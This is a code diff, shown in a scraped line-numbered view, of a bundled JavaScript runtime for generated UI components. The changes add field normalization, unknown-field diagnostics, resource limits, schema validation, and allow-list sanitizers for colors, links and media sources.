+
message: keptCanonical ? `${aliasPath} is ignored because canonical field '${canonical}' is present` : `${aliasPath} normalized/adopted as '${canonical}'`,
|
|
637
|
+
type,
|
|
638
|
+
field: alias,
|
|
639
|
+
canonical
|
|
640
|
+
});
|
|
641
|
+
}
|
|
642
|
+
return out;
|
|
643
|
+
}
|
|
644
|
+
function normalizeNode(value, path, warnings) {
|
|
645
|
+
if (!isNode$1(value)) return value;
|
|
646
|
+
const type = value.type;
|
|
647
|
+
if (COMPONENT_SCHEMAS[type] === void 0) return value;
|
|
648
|
+
const out = normalizeAliasFields(value, path, type, warnings);
|
|
649
|
+
const normalizeNodeValue = (child, childPath) => normalizeNode(child, childPath, warnings);
|
|
650
|
+
const normalizeNodeArray = (children, childPath) => Array.isArray(children) ? children.map((child, index) => normalizeNodeValue(child, `${childPath}[${index}]`)) : children;
|
|
651
|
+
if (type === "row" || type === "col" || type === "grid" || type === "card" || type === "file-tree" || type === "timeline" || type === "breadcrumb") {
|
|
652
|
+
if (type !== "file-tree" && type !== "timeline" && type !== "breadcrumb") out.items = normalizeNodeArray(out.items, `${path}.items`);
|
|
653
|
+
} else if (type === "list" && Array.isArray(out.items)) out.items = out.items.map((child, index) => isNode$1(child) ? normalizeNodeValue(child, `${path}.items[${index}]`) : child);
|
|
654
|
+
else if (type === "tabs" && Array.isArray(out.tabs)) out.tabs = out.tabs.map((tab, index) => {
|
|
655
|
+
const holder = record$1(tab);
|
|
656
|
+
if (holder === void 0) return tab;
|
|
657
|
+
const normalizedHolder = { ...holder };
|
|
658
|
+
if ("content" in normalizedHolder) {
|
|
659
|
+
const tabPath = `${path}.tabs[${index}].content`;
|
|
660
|
+
const hasItems = "items" in normalizedHolder;
|
|
661
|
+
if (!hasItems) normalizedHolder.items = normalizedHolder.content;
|
|
662
|
+
delete normalizedHolder.content;
|
|
663
|
+
warnings.push({
|
|
664
|
+
kind: "alias",
|
|
665
|
+
path: tabPath,
|
|
666
|
+
message: hasItems ? `${tabPath} is ignored because canonical field 'items' is present` : `${tabPath} normalized/adopted as 'items'`,
|
|
667
|
+
type,
|
|
668
|
+
field: "content",
|
|
669
|
+
canonical: "items"
|
|
670
|
+
});
|
|
671
|
+
}
|
|
672
|
+
normalizedHolder.items = Array.isArray(normalizedHolder.items) ? normalizedHolder.items.map((child, childIndex) => normalizeNodeValue(child, `${path}.tabs[${index}].items[${childIndex}]`)) : normalizedHolder.items === void 0 ? normalizedHolder.items : [normalizeNodeValue(normalizedHolder.items, `${path}.tabs[${index}].items[0]`)];
|
|
673
|
+
return normalizedHolder;
|
|
674
|
+
});
|
|
675
|
+
else if (type === "accordion" && Array.isArray(out.items)) out.items = out.items.map((item, index) => {
|
|
676
|
+
const holder = record$1(item);
|
|
677
|
+
if (holder === void 0) return item;
|
|
678
|
+
return {
|
|
679
|
+
...holder,
|
|
680
|
+
items: Array.isArray(holder.items) ? holder.items.map((child, childIndex) => normalizeNodeValue(child, `${path}.items[${index}].items[${childIndex}]`)) : holder.items
|
|
681
|
+
};
|
|
682
|
+
});
|
|
683
|
+
return out;
|
|
684
|
+
}
|
|
685
|
+
/**
|
|
686
|
+
* Normalize a raw GenUI value into canonical field names.
|
|
687
|
+
*
|
|
688
|
+
* Only deterministic aliases and structural aliases are changed. Resource
|
|
689
|
+
* limits, type repair, security filtering, and semantic validation remain in
|
|
690
|
+
* the guard layer. Unknown component types are returned opaque.
|
|
691
|
+
*
|
|
692
|
+
* @param value - Raw GenUI spec or bare native component.
|
|
693
|
+
* @returns Canonical value and stable alias diagnostics.
|
|
694
|
+
*/
|
|
695
|
+
function normalizeGenuiSpec(value) {
|
|
696
|
+
const warnings = [];
|
|
697
|
+
const root = record$1(value);
|
|
698
|
+
if (root === void 0) return {
|
|
699
|
+
value,
|
|
700
|
+
warnings
|
|
701
|
+
};
|
|
702
|
+
const out = { ...root };
|
|
703
|
+
if (Array.isArray(out.items)) out.items = out.items.map((item, index) => normalizeNode(item, `items[${index}]`, warnings));
|
|
704
|
+
else if (typeof out.type === "string") return {
|
|
705
|
+
value: normalizeNode(out, "spec", warnings),
|
|
706
|
+
warnings
|
|
707
|
+
};
|
|
708
|
+
return {
|
|
709
|
+
value: out,
|
|
710
|
+
warnings
|
|
711
|
+
};
|
|
712
|
+
}
|
|
713
|
+
//#endregion
|
|
714
|
+
//#region src/client/genui-runtime/diagnostics.ts
|
|
715
|
+
/** GenUI runtime diagnostics for aliases and unknown fields. */
|
|
716
|
+
function record(value) {
|
|
717
|
+
return typeof value === "object" && value !== null && !Array.isArray(value) ? value : void 0;
|
|
718
|
+
}
|
|
719
|
+
function isNode(value) {
|
|
720
|
+
const candidate = record(value);
|
|
721
|
+
return candidate !== void 0 && typeof candidate.type === "string";
|
|
722
|
+
}
|
|
723
|
+
function visitNativeNodes(value, path, visit) {
|
|
724
|
+
if (!isNode(value)) return;
|
|
725
|
+
const type = value.type;
|
|
726
|
+
const definition = COMPONENT_SCHEMAS[type];
|
|
727
|
+
if (definition === void 0) return;
|
|
728
|
+
visit(value, path, definition);
|
|
729
|
+
const children = (child, childPath) => visitNativeNodes(child, childPath, visit);
|
|
730
|
+
if ((type === "row" || type === "col" || type === "grid" || type === "card") && Array.isArray(value.items)) value.items.forEach((child, index) => children(child, `${path}.items[${index}]`));
|
|
731
|
+
else if (type === "list" && Array.isArray(value.items)) value.items.forEach((child, index) => children(child, `${path}.items[${index}]`));
|
|
732
|
+
else if (type === "tabs" && Array.isArray(value.tabs)) value.tabs.forEach((tab, index) => {
|
|
733
|
+
const holder = record(tab);
|
|
734
|
+
if (holder === void 0) return;
|
|
735
|
+
if (Array.isArray(holder.items)) holder.items.forEach((child, childIndex) => children(child, `${path}.tabs[${index}].items[${childIndex}]`));
|
|
736
|
+
else children(holder.items, `${path}.tabs[${index}].items`);
|
|
737
|
+
});
|
|
738
|
+
else if (type === "accordion" && Array.isArray(value.items)) value.items.forEach((item, index) => {
|
|
739
|
+
const holder = record(item);
|
|
740
|
+
if (holder?.items !== void 0 && Array.isArray(holder.items)) holder.items.forEach((child, childIndex) => children(child, `${path}.items[${index}].items[${childIndex}]`));
|
|
741
|
+
});
|
|
742
|
+
}
|
|
743
|
+
function pushUnknownField(warnings, path, field, type) {
|
|
744
|
+
warnings.push({
|
|
745
|
+
kind: "unknown-field",
|
|
746
|
+
path: `${path}.${field}`,
|
|
747
|
+
message: `${path}.${field}: unknown field for '${type}'`,
|
|
748
|
+
type,
|
|
749
|
+
field
|
|
750
|
+
});
|
|
751
|
+
}
|
|
752
|
+
function diagnoseRecordFields(value, path, definition, type, warnings) {
|
|
753
|
+
const holder = record(value);
|
|
754
|
+
if (holder === void 0) return;
|
|
755
|
+
for (const field of Object.keys(holder)) {
|
|
756
|
+
if (field in definition.fields) continue;
|
|
757
|
+
pushUnknownField(warnings, path, field, type);
|
|
758
|
+
}
|
|
759
|
+
for (const [field, nested] of Object.entries(definition.nested)) {
|
|
760
|
+
const nestedValue = holder[field];
|
|
761
|
+
if (Array.isArray(nestedValue)) nestedValue.forEach((item, index) => diagnoseRecordFields(item, `${path}.${field}[${index}]`, nested, type, warnings));
|
|
762
|
+
else if (nestedValue !== void 0) diagnoseRecordFields(nestedValue, `${path}.${field}`, nested, type, warnings);
|
|
763
|
+
}
|
|
764
|
+
}
|
|
765
|
+
function diagnoseNestedFields(node, path, definition, warnings) {
|
|
766
|
+
for (const [field, nested] of Object.entries(definition.nested)) {
|
|
767
|
+
const nestedValue = node[field];
|
|
768
|
+
if (Array.isArray(nestedValue)) nestedValue.forEach((item, index) => diagnoseRecordFields(item, `${path}.${field}[${index}]`, nested, node.type, warnings));
|
|
769
|
+
else if (nestedValue !== void 0) diagnoseRecordFields(nestedValue, `${path}.${field}`, nested, node.type, warnings);
|
|
770
|
+
}
|
|
771
|
+
}
|
|
772
|
+
/**
|
|
773
|
+
* Diagnose unknown direct fields on native nodes.
|
|
774
|
+
*
|
|
775
|
+
* Unknown types are intentionally skipped so custom renderers retain their
|
|
776
|
+
* opaque extension payloads. Native unknown fields are warnings, not errors.
|
|
777
|
+
*
|
|
778
|
+
* @param value - Canonical or raw GenUI value.
|
|
779
|
+
* @returns Stable field diagnostics in tree order.
|
|
780
|
+
*/
|
|
781
|
+
function diagnoseUnknownGenuiFields(value) {
|
|
782
|
+
const warnings = [];
|
|
783
|
+
const root = record(value);
|
|
784
|
+
if (root === void 0) return warnings;
|
|
785
|
+
const visit = (node, path, definition) => {
|
|
786
|
+
for (const field of Object.keys(node)) {
|
|
787
|
+
if (field === "type" || field in definition.fields) continue;
|
|
788
|
+
pushUnknownField(warnings, path, field, node.type);
|
|
789
|
+
}
|
|
790
|
+
diagnoseNestedFields(node, path, definition, warnings);
|
|
791
|
+
};
|
|
792
|
+
if (Array.isArray(root.items)) {
|
|
793
|
+
for (const field of Object.keys(root)) {
|
|
794
|
+
if (field in GENUI_SPEC_SCHEMA.fields) continue;
|
|
795
|
+
pushUnknownField(warnings, "spec", field, "spec");
|
|
796
|
+
}
|
|
797
|
+
root.items.forEach((item, index) => visitNativeNodes(item, `items[${index}]`, visit));
|
|
798
|
+
} else if (typeof root.type === "string") visitNativeNodes(root, "spec", visit);
|
|
799
|
+
else for (const field of Object.keys(root)) {
|
|
800
|
+
if (field in GENUI_SPEC_SCHEMA.fields) continue;
|
|
801
|
+
pushUnknownField(warnings, "spec", field, "spec");
|
|
802
|
+
}
|
|
803
|
+
return warnings;
|
|
804
|
+
}
|
|
805
|
+
//#endregion
|
|
806
|
+
//#region src/client/genui-runtime/limits.ts
|
|
807
|
+
/** Resource limits shared by GenUI repair, validation, and rendering. */
|
|
808
|
+
const GENUI_LIMITS = {
|
|
809
|
+
/** Maximum nesting depth of the component tree. */
|
|
810
|
+
maxDepth: 8,
|
|
811
|
+
/** Maximum total nodes across the whole spec. */
|
|
812
|
+
maxNodes: 200,
|
|
813
|
+
/** Maximum length of any plain string field. */
|
|
814
|
+
maxString: 2e3,
|
|
815
|
+
/** Maximum length of a `code` body. */
|
|
816
|
+
maxCode: 12e3,
|
|
817
|
+
/** Maximum length of a mermaid source. */
|
|
818
|
+
maxMermaid: 8e3,
|
|
819
|
+
/** Maximum `grid` columns. */
|
|
820
|
+
maxGridCols: 12,
|
|
821
|
+
/** Maximum `tabs` count. */
|
|
822
|
+
maxTabs: 12,
|
|
823
|
+
/** Maximum `accordion` items. */
|
|
824
|
+
maxAccordionItems: 24,
|
|
825
|
+
/** Maximum `list` items. */
|
|
826
|
+
maxListItems: 50,
|
|
827
|
+
/** Maximum `select`/`radio` options. */
|
|
828
|
+
maxOptions: 50,
|
|
829
|
+
/** Maximum `table` rows / columns. */
|
|
830
|
+
maxTableRows: 50,
|
|
831
|
+
maxTableCols: 12,
|
|
832
|
+
/** Maximum `chart` data points per series. */
|
|
833
|
+
maxChartPoints: 60,
|
|
834
|
+
/** Maximum `plot` series and per-series parameters. */
|
|
835
|
+
maxPlotSeries: 8,
|
|
836
|
+
maxPlotParams: 6,
|
|
837
|
+
/** Maximum `scene3d` meshes. */
|
|
838
|
+
maxMeshes: 5,
|
|
839
|
+
/** Maximum `quiz` options. */
|
|
840
|
+
maxQuizOptions: 8,
|
|
841
|
+
/** Maximum `steps` / `timeline` / `breadcrumb` / `keyvalue` entries. */
|
|
842
|
+
maxSteps: 24,
|
|
843
|
+
maxTimelineItems: 24,
|
|
844
|
+
maxBreadcrumbItems: 12,
|
|
845
|
+
maxKeyValuePairs: 24,
|
|
846
|
+
/** Maximum `file-tree` nesting. */
|
|
847
|
+
maxTreeDepth: 6,
|
|
848
|
+
/** Maximum `diagram` nodes / edges / zones / focal accents. */
|
|
849
|
+
maxDiagramNodes: 9,
|
|
850
|
+
maxDiagramEdges: 12,
|
|
851
|
+
maxDiagramZones: 3,
|
|
852
|
+
maxDiagramFocal: 2,
|
|
853
|
+
maxDiagramLabel: 14,
|
|
854
|
+
/** Maximum depth of an `echart` option object. */
|
|
855
|
+
maxEChartOptionDepth: 10,
|
|
856
|
+
/** Maximum length of any single array inside an `echart` option. */
|
|
857
|
+
maxEChartArrayLen: 500,
|
|
858
|
+
/** Maximum entries traversed while sanitizing an `echart` option. */
|
|
859
|
+
maxEChartOptionNodes: 2e3
|
|
860
|
+
};
|
|
861
|
+
//#endregion
|
|
862
|
+
//#region src/client/genui-runtime/value-utils.ts
|
|
863
|
+
/** Shared primitive sanitizers used by the GenUI guard. */
|
|
864
|
+
/** Is `value` one of `values`? */
|
|
865
|
+
function inEnum(value, values) {
|
|
866
|
+
return typeof value === "string" && values.includes(value);
|
|
867
|
+
}
|
|
868
|
+
/** String field: truncate a string to `cap`, or undefined when not a string. */
|
|
869
|
+
function str(value, cap) {
|
|
870
|
+
return typeof value === "string" ? value.slice(0, cap) : void 0;
|
|
871
|
+
}
|
|
872
|
+
/**
|
|
873
|
+
* Color field: the value lands in an inline `style` (background/stroke) or
|
|
874
|
+
* THREE.Color. Arbitrary CSS values are an exfiltration channel, so only
|
|
875
|
+
* literal color formats and host design tokens are accepted.
|
|
876
|
+
*/
|
|
877
|
+
const SAFE_COLOR_RE = /^(?:#[\da-fA-F]{3,8}|rgba?\([^)]{0,64}\)|hsla?\([^)]{0,64}\)|var\(--dsw-[\w-]+(?:,\s*#[0-9a-fA-F]{3,8})?\))$/;
|
|
878
|
+
function color(value) {
|
|
879
|
+
if (typeof value !== "string") return void 0;
|
|
880
|
+
const normalized = value.trim();
|
|
881
|
+
return normalized.length <= 64 && SAFE_COLOR_RE.test(normalized) ? normalized : void 0;
|
|
882
|
+
}
|
|
883
|
+
/** Keep only http(s) and mailto link targets. */
|
|
884
|
+
function safeHref(value) {
|
|
885
|
+
if (typeof value !== "string") return void 0;
|
|
886
|
+
const normalized = value.trim();
|
|
887
|
+
if (normalized.length > 2048) return void 0;
|
|
888
|
+
return /^https?:\/\//i.test(normalized) || /^mailto:[^@\s]+@[^@\s]+$/i.test(normalized) ? normalized : void 0;
|
|
889
|
+
}
|
|
890
|
+
/** Keep browser-reachable http(s) or same-origin relative media paths. */
|
|
891
|
+
function safeMediaSrc(value) {
|
|
892
|
+
if (typeof value !== "string") return void 0;
|
|
893
|
+
const normalized = value.trim();
|
|
894
|
+
if (normalized === "" || normalized.length > 2048) return void 0;
|
|
895
|
+
if (/^https?:\/\//i.test(normalized)) return normalized;
|
|
896
|
+
if (/^[a-z][a-z0-9+.-]*:/i.test(normalized) || /^[/\\]{2}/.test(normalized)) return void 0;
|
|
897
|
+
return normalized;
|
|
898
|
+
}
|
|
899
|
+
/** Finite-number field: clamp into [min, max], or undefined when not finite. */
|
|
900
|
+
function num(value, min, max) {
|
|
901
|
+
return typeof value === "number" && Number.isFinite(value) ? Math.min(max, Math.max(min, value)) : void 0;
|
|
902
|
+
}
|
|
903
|
+
/** Integer field: clamp into [min, max], or undefined when not a finite number. */
|
|
904
|
+
function int(value, min, max) {
|
|
905
|
+
return typeof value === "number" && Number.isFinite(value) ? Math.min(max, Math.max(min, Math.trunc(value))) : void 0;
|
|
906
|
+
}
|
|
907
|
+
/** Optional enum field: the value when it matches, otherwise undefined. */
|
|
908
|
+
function enu(value, values) {
|
|
909
|
+
return inEnum(value, values) ? value : void 0;
|
|
910
|
+
}
|
|
911
|
+
/** Plain object (not array, not null). */
|
|
912
|
+
function obj(value) {
|
|
913
|
+
return typeof value === "object" && value !== null && !Array.isArray(value) ? value : void 0;
|
|
914
|
+
}
|
|
915
|
+
/** Preserve an optional field only when its value exists. */
|
|
916
|
+
function opt(key, value) {
|
|
917
|
+
return value === void 0 ? {} : { [key]: value };
|
|
918
|
+
}
|
|
919
|
+
//#endregion
|
|
920
|
+
//#region src/client/guard.ts
|
|
921
|
+
function fieldKindMatches(value, kind) {
|
|
922
|
+
switch (kind) {
|
|
923
|
+
case "string": return typeof value === "string";
|
|
924
|
+
case "string-or-null": return value === null || typeof value === "string";
|
|
925
|
+
case "number": return typeof value === "number" && Number.isFinite(value);
|
|
926
|
+
case "boolean": return typeof value === "boolean";
|
|
927
|
+
case "nodes": return Array.isArray(value);
|
|
928
|
+
case "array": return Array.isArray(value);
|
|
929
|
+
case "object": return obj(value) !== void 0;
|
|
930
|
+
case "unknown": return true;
|
|
931
|
+
}
|
|
932
|
+
}
|
|
933
|
+
function fieldKindLabel(kind) {
|
|
934
|
+
switch (kind) {
|
|
935
|
+
case "string-or-null": return "a string or null";
|
|
936
|
+
case "number": return "a finite number";
|
|
937
|
+
case "boolean": return "a boolean";
|
|
938
|
+
case "nodes":
|
|
939
|
+
case "array": return "an array";
|
|
940
|
+
case "object": return "an object";
|
|
941
|
+
case "unknown": return "a value";
|
|
942
|
+
default: return "a string";
|
|
943
|
+
}
|
|
944
|
+
}
|
|
945
|
+
/** Detect an existing field diagnostic using both canonical and legacy messages. */
|
|
946
|
+
function hasFieldError(errors, at, field) {
|
|
947
|
+
return errors.some((error) => error.startsWith(`${at}.${field} `) || error.includes(`'${field}'`) || error.includes(`requires ${field}`));
|
|
948
|
+
}
|
|
949
|
+
/** Validate present fields against the runtime schema without duplicating errors. */
|
|
950
|
+
function validateSchemaFieldKinds(value, at, definition, errors, excludedFields = []) {
|
|
951
|
+
for (const [field, kind] of Object.entries(definition.fields)) {
|
|
952
|
+
if (excludedFields.includes(field) || value[field] === void 0) continue;
|
|
953
|
+
if (!fieldKindMatches(value[field], kind) && !hasFieldError(errors, at, field)) errors.push(`${at}.${field} must be ${fieldKindLabel(kind)}`);
|
|
954
|
+
}
|
|
955
|
+
for (const [field, values] of Object.entries(definition.enums)) {
|
|
956
|
+
if (excludedFields.includes(field) || value[field] === void 0 || !fieldKindMatches(value[field], "string")) continue;
|
|
957
|
+
if (!values.includes(value[field]) && !hasFieldError(errors, at, field)) errors.push(`${at}.${field} must be one of ${values.join(", ")}`);
|
|
958
|
+
}
|
|
959
|
+
}
|
|
960
|
+
/** Validate one schema-declared nested record and all records below it. */
|
|
961
|
+
function validateRecordSchema(value, at, definition, errors) {
|
|
962
|
+
const holder = obj(value);
|
|
963
|
+
if (holder === void 0) {
|
|
964
|
+
errors.push(`${at} must be an object`);
|
|
965
|
+
return;
|
|
966
|
+
}
|
|
967
|
+
for (const field of definition.required) {
|
|
968
|
+
const kind = definition.fields[field];
|
|
969
|
+
if (holder[field] === void 0) {
|
|
970
|
+
if (!hasFieldError(errors, at, field)) errors.push(`${at}: requires ${field}${kind === void 0 ? "" : ` (${fieldKindLabel(kind)})`}`);
|
|
971
|
+
} else if (kind !== void 0 && !fieldKindMatches(holder[field], kind)) {
|
|
972
|
+
if (!hasFieldError(errors, at, field)) errors.push(`${at}.${field} must be ${fieldKindLabel(kind)}`);
|
|
973
|
+
}
|
|
974
|
+
}
|
|
975
|
+
for (const [field, kind] of Object.entries(definition.fields)) if (holder[field] !== void 0 && !fieldKindMatches(holder[field], kind)) {
|
|
976
|
+
if (!hasFieldError(errors, at, field)) errors.push(`${at}.${field} must be ${fieldKindLabel(kind)}`);
|
|
977
|
+
}
|
|
978
|
+
for (const [field, values] of Object.entries(definition.enums)) if (holder[field] !== void 0 && typeof holder[field] === "string" && !values.includes(holder[field])) {
|
|
979
|
+
if (!hasFieldError(errors, at, field)) errors.push(`${at}.${field} must be one of ${values.join(", ")}`);
|
|
980
|
+
}
|
|
981
|
+
for (const [field, nested] of Object.entries(definition.nested)) {
|
|
982
|
+
const nestedValue = holder[field];
|
|
983
|
+
if (nestedValue === void 0) continue;
|
|
984
|
+
if (Array.isArray(nestedValue)) nestedValue.forEach((item, index) => validateRecordSchema(item, `${at}.${field}[${index}]`, nested, errors));
|
|
985
|
+
else validateRecordSchema(nestedValue, `${at}.${field}`, nested, errors);
|
|
986
|
+
}
|
|
987
|
+
}
|
|
988
|
+
/** Validate registry-declared nested records before repair can discard them. */
|
|
989
|
+
function validateNestedRecordSchemas(value, at, definition, errors) {
|
|
990
|
+
for (const [field, nested] of Object.entries(definition.nested)) {
|
|
991
|
+
const nestedValue = value[field];
|
|
992
|
+
if (nestedValue === void 0) continue;
|
|
993
|
+
if (Array.isArray(nestedValue)) nestedValue.forEach((item, index) => validateRecordSchema(item, `${at}.${field}[${index}]`, nested, errors));
|
|
994
|
+
else validateRecordSchema(nestedValue, `${at}.${field}`, nested, errors);
|
|
995
|
+
}
|
|
996
|
+
}
|
|
997
|
+
/** Validate the registry-declared presence and primitive shape of a native node. */
|
|
998
|
+
function validateRegistryFields(value, at, definition, errors) {
|
|
999
|
+
const type = String(value.type);
|
|
1000
|
+
const alreadyReported = (field) => hasFieldError(errors, at, field);
|
|
1001
|
+
for (const field of definition.required) {
|
|
1002
|
+
const kind = definition.fields[field];
|
|
1003
|
+
if (kind === void 0 || value[field] === void 0) {
|
|
1004
|
+
if (!alreadyReported(field)) errors.push(`${at}: type '${type}' requires ${field}${kind === void 0 ? "" : ` (${fieldKindLabel(kind)})`}`);
|
|
1005
|
+
continue;
|
|
1006
|
+
}
|
|
1007
|
+
if (!fieldKindMatches(value[field], kind) && !alreadyReported(field)) errors.push(`${at}.${field} must be ${fieldKindLabel(kind)}`);
|
|
1008
|
+
}
|
|
1009
|
+
validateSchemaFieldKinds(value, at, definition, errors, ["type"]);
|
|
1010
|
+
for (const group of definition.oneOfRequired) if (!group.some((field) => value[field] !== void 0) && !errors.some((error) => error.includes(`requires ${group.join(" or ")}`))) errors.push(`${at}: type '${type}' requires one of ${group.join(" or ")}`);
|
|
1011
|
+
for (const rule of definition.conditionalRequired) {
|
|
1012
|
+
if (value[rule.when.field] !== rule.when.equals) continue;
|
|
1013
|
+
for (const field of rule.required) if (value[field] === void 0 && !alreadyReported(field)) errors.push(`${at}: type '${type}' requires ${field}${rule.message === void 0 ? "" : ` (${rule.message})`}`);
|
|
1014
|
+
}
|
|
1015
|
+
validateNestedRecordSchemas(value, at, definition, errors);
|
|
1016
|
+
}
|
|
270
1017
|
/** Walk `list` with the shared node budget; drops invalid entries. */
|
|
271
1018
|
function repairItems(list, ctx, depth) {
|
|
272
1019
|
if (!Array.isArray(list)) return [];
|
|
@@ -281,7 +1028,7 @@ function repairItems(list, ctx, depth) {
|
|
|
281
1028
|
}
|
|
282
1029
|
function repairNode(value, ctx, depth) {
|
|
283
1030
|
if (depth > GENUI_LIMITS.maxDepth) return null;
|
|
284
|
-
const v = obj
|
|
1031
|
+
const v = obj(value);
|
|
285
1032
|
if (v === void 0) return null;
|
|
286
1033
|
const type = v.type;
|
|
287
1034
|
if (typeof type !== "string") return null;
|
|
@@ -358,7 +1105,8 @@ function repairNode(value, ctx, depth) {
|
|
|
358
1105
|
type: "checkbox",
|
|
359
1106
|
label,
|
|
360
1107
|
...opt("checked", v.checked === true ? true : void 0),
|
|
361
|
-
...opt("action", str(v.action, 200))
|
|
1108
|
+
...opt("action", str(v.action, 200)),
|
|
1109
|
+
...opt("group", str(v.group, 200))
|
|
362
1110
|
};
|
|
363
1111
|
}
|
|
364
1112
|
case "link": {
|
|
@@ -730,7 +1478,7 @@ function repairListItems(v, cap, ctx, depth) {
|
|
|
730
1478
|
out.push(item.slice(0, GENUI_LIMITS.maxString));
|
|
731
1479
|
continue;
|
|
732
1480
|
}
|
|
733
|
-
const o = obj
|
|
1481
|
+
const o = obj(item);
|
|
734
1482
|
const title = o === void 0 ? void 0 : str(o.title, GENUI_LIMITS.maxString);
|
|
735
1483
|
if (title !== void 0) {
|
|
736
1484
|
out.push({
|
|
@@ -769,7 +1517,7 @@ function repairChartData(v, cap) {
|
|
|
769
1517
|
const out = [];
|
|
770
1518
|
for (const datum of v) {
|
|
771
1519
|
if (out.length >= cap) break;
|
|
772
|
-
const o = obj
|
|
1520
|
+
const o = obj(datum);
|
|
773
1521
|
const label = o === void 0 ? void 0 : str(o.label, 128);
|
|
774
1522
|
const value = o === void 0 ? void 0 : num(o.value, -0xe8d4a51000, 0xe8d4a51000);
|
|
775
1523
|
if (label === void 0 || value === void 0) continue;
|
|
@@ -786,7 +1534,7 @@ function repairSeries(v, cap, pointCap) {
|
|
|
786
1534
|
const out = [];
|
|
787
1535
|
for (const s of v) {
|
|
788
1536
|
if (out.length >= cap) break;
|
|
789
|
-
const o = obj
|
|
1537
|
+
const o = obj(s);
|
|
790
1538
|
const label = o === void 0 ? void 0 : str(o.label, 128);
|
|
791
1539
|
const data = o === void 0 ? void 0 : repairChartData(o.data, pointCap);
|
|
792
1540
|
if (label === void 0 || data === void 0) continue;
|
|
@@ -803,7 +1551,7 @@ function repairTabs(v, ctx, depth) {
|
|
|
803
1551
|
const out = [];
|
|
804
1552
|
for (const tab of v) {
|
|
805
1553
|
if (out.length >= GENUI_LIMITS.maxTabs) break;
|
|
806
|
-
const o = obj
|
|
1554
|
+
const o = obj(tab);
|
|
807
1555
|
const label = o === void 0 ? void 0 : str(o.label, 128);
|
|
808
1556
|
if (label === void 0 || o === void 0) continue;
|
|
809
1557
|
const rawItems = o.items !== void 0 ? o.items : o.content !== void 0 ? Array.isArray(o.content) ? o.content : [o.content] : void 0;
|
|
@@ -816,7 +1564,7 @@ function repairTabs(v, ctx, depth) {
|
|
|
816
1564
|
}
|
|
817
1565
|
/** Header text for an object-shaped table column ({title,key} antd style). */
|
|
818
1566
|
function columnHeaderText(c) {
|
|
819
|
-
const o = obj
|
|
1567
|
+
const o = obj(c);
|
|
820
1568
|
if (o === void 0) return String(c);
|
|
821
1569
|
for (const k of [
|
|
822
1570
|
"title",
|
|
@@ -831,7 +1579,7 @@ function columnHeaderText(c) {
|
|
|
831
1579
|
}
|
|
832
1580
|
/** Row key for an object-shaped column, mirroring columnHeaderText's order. */
|
|
833
1581
|
function columnKeyOf(c) {
|
|
834
|
-
const o = obj
|
|
1582
|
+
const o = obj(c);
|
|
835
1583
|
if (o === void 0) return void 0;
|
|
836
1584
|
for (const k of [
|
|
837
1585
|
"key",
|
|
@@ -857,13 +1605,13 @@ function repairPlotSeries(v, cap) {
|
|
|
857
1605
|
const out = [];
|
|
858
1606
|
for (const s of v) {
|
|
859
1607
|
if (out.length >= cap) break;
|
|
860
|
-
const o = obj
|
|
1608
|
+
const o = obj(s);
|
|
861
1609
|
const expr = o === void 0 ? void 0 : str(o.expr, 512);
|
|
862
1610
|
if (expr === void 0 || o === void 0) continue;
|
|
863
1611
|
const params = [];
|
|
864
1612
|
if (Array.isArray(o.params)) for (const p of o.params) {
|
|
865
1613
|
if (params.length >= GENUI_LIMITS.maxPlotParams) break;
|
|
866
|
-
const po = obj
|
|
1614
|
+
const po = obj(p);
|
|
867
1615
|
const name = po === void 0 ? void 0 : str(po.name, 64);
|
|
868
1616
|
const value = po === void 0 ? void 0 : num(po.value, -1e9, 1e9);
|
|
869
1617
|
if (name === void 0 || value === void 0) continue;
|
|
@@ -893,7 +1641,7 @@ function repairSteps(v) {
|
|
|
893
1641
|
const out = [];
|
|
894
1642
|
for (const s of v) {
|
|
895
1643
|
if (out.length >= GENUI_LIMITS.maxSteps) break;
|
|
896
|
-
const o = obj
|
|
1644
|
+
const o = obj(s);
|
|
897
1645
|
const title = o === void 0 ? void 0 : str(o.title, 256);
|
|
898
1646
|
if (title === void 0) continue;
|
|
899
1647
|
out.push({
|
|
@@ -908,7 +1656,7 @@ function repairPairs(v, cap) {
|
|
|
908
1656
|
const out = [];
|
|
909
1657
|
for (const p of v) {
|
|
910
1658
|
if (out.length >= cap) break;
|
|
911
|
-
const o = obj
|
|
1659
|
+
const o = obj(p);
|
|
912
1660
|
const key = o === void 0 ? void 0 : str(o.key, 256);
|
|
913
1661
|
const value = o === void 0 ? void 0 : str(o.value, GENUI_LIMITS.maxString);
|
|
914
1662
|
if (key === void 0 || value === void 0) continue;
|
|
@@ -924,7 +1672,7 @@ function repairDiffs(v) {
|
|
|
924
1672
|
const out = [];
|
|
925
1673
|
for (const d of v) {
|
|
926
1674
|
if (out.length >= 24) break;
|
|
927
|
-
const o = obj
|
|
1675
|
+
const o = obj(d);
|
|
928
1676
|
const path = o === void 0 ? void 0 : str(o.path, 1024);
|
|
929
1677
|
const newText = o === void 0 ? void 0 : str(o.newText, 2e4);
|
|
930
1678
|
if (path === void 0 || newText === void 0) continue;
|
|
@@ -942,7 +1690,7 @@ function repairAccordion(v, ctx, depth) {
|
|
|
942
1690
|
const out = [];
|
|
943
1691
|
for (const item of v) {
|
|
944
1692
|
if (out.length >= GENUI_LIMITS.maxAccordionItems) break;
|
|
945
|
-
const o = obj
|
|
1693
|
+
const o = obj(item);
|
|
946
1694
|
const title = o === void 0 ? void 0 : str(o.title, 256);
|
|
947
1695
|
if (title === void 0 || o === void 0) continue;
|
|
948
1696
|
out.push({
|
|
@@ -957,7 +1705,7 @@ function repairMeshes(v) {
|
|
|
957
1705
|
const out = [];
|
|
958
1706
|
for (const m of v) {
|
|
959
1707
|
if (out.length >= GENUI_LIMITS.maxMeshes) break;
|
|
960
|
-
const o = obj
|
|
1708
|
+
const o = obj(m);
|
|
961
1709
|
const shape = o === void 0 ? void 0 : enu(o.shape, MESH_SHAPES);
|
|
962
1710
|
if (shape === void 0) continue;
|
|
963
1711
|
const scale = o === void 0 ? void 0 : num(o.scale, -1e6, 1e6) ?? tuple3(o.scale);
|
|
@@ -993,7 +1741,7 @@ function repairDiagramNodes(v) {
|
|
|
993
1741
|
const seen = /* @__PURE__ */ new Set();
|
|
994
1742
|
for (const raw of v) {
|
|
995
1743
|
if (out.length >= GENUI_LIMITS.maxDiagramNodes) break;
|
|
996
|
-
const o = obj
|
|
1744
|
+
const o = obj(raw);
|
|
997
1745
|
if (o === void 0) continue;
|
|
998
1746
|
const id = str(o.id, 128);
|
|
999
1747
|
const label = str(o.label, GENUI_LIMITS.maxString);
|
|
@@ -1025,7 +1773,7 @@ function repairDiagramEdges(v) {
|
|
|
1025
1773
|
